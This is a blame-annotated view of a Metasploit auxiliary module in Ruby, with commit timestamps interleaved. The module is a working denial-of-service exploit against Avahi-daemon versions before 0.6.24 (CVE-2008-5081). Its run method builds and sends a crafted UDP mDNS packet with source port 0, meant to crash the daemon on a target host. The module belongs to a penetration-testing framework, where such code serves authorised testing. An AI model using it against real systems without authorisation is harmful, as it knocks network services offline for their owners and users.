2008-12-19 21:13:58 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-12-19 21:13:58 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-12-19 21:13:58 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2010-01-27 20:17:45 +00:00
|
|
|
include Msf::Exploit::Capture
|
2008-12-19 21:13:58 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Avahi < 0.6.24 Source Port 0 DoS',
|
|
|
|
'Description' => %q{
|
|
|
|
Avahi-daemon versions prior to 0.6.24 can be DoS'd
|
|
|
|
with an mDNS packet with a source port of 0
|
|
|
|
},
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2008-12-19 21:13:58 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' => [
|
2010-02-23 17:29:52 +00:00
|
|
|
[ 'CVE', '2008-5081' ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'OSVDB', '50929' ],
|
2010-02-23 17:29:52 +00:00
|
|
|
],
|
2008-12-19 21:13:58 +00:00
|
|
|
'DisclosureDate' => 'Nov 14 2008')
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptInt.new('RPORT', [true, 'The destination port', 5353])
|
|
|
|
])
|
2010-01-27 20:58:45 +00:00
|
|
|
|
|
|
|
deregister_options('FILTER','PCAPFILE')
|
2008-12-19 21:13:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2010-01-27 20:17:45 +00:00
|
|
|
open_pcap
|
2008-12-19 21:13:58 +00:00
|
|
|
|
2011-07-27 20:21:47 +00:00
|
|
|
print_status("Sending to #{rhost}")
|
|
|
|
|
2011-07-26 01:29:21 +00:00
|
|
|
p = PacketFu::UDPPacket.new
|
|
|
|
p.ip_saddr = "0.0.0.0"
|
|
|
|
p.ip_daddr = rhost
|
|
|
|
p.ip_frag = 0x4000 # Original had ip frag flags set to 2 for some reason.
|
|
|
|
p.udp_sport = 0 # That's the bug
|
|
|
|
p.udp_dport = datastore['RPORT'].to_i
|
|
|
|
p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.
|
|
|
|
p.recalc
|
|
|
|
capture_sendto(p, rhost)
|
2008-12-19 21:13:58 +00:00
|
|
|
|
2010-01-27 20:17:45 +00:00
|
|
|
close_pcap
|
2008-12-19 21:13:58 +00:00
|
|
|
|
|
|
|
print_status("Avahi should be down now")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|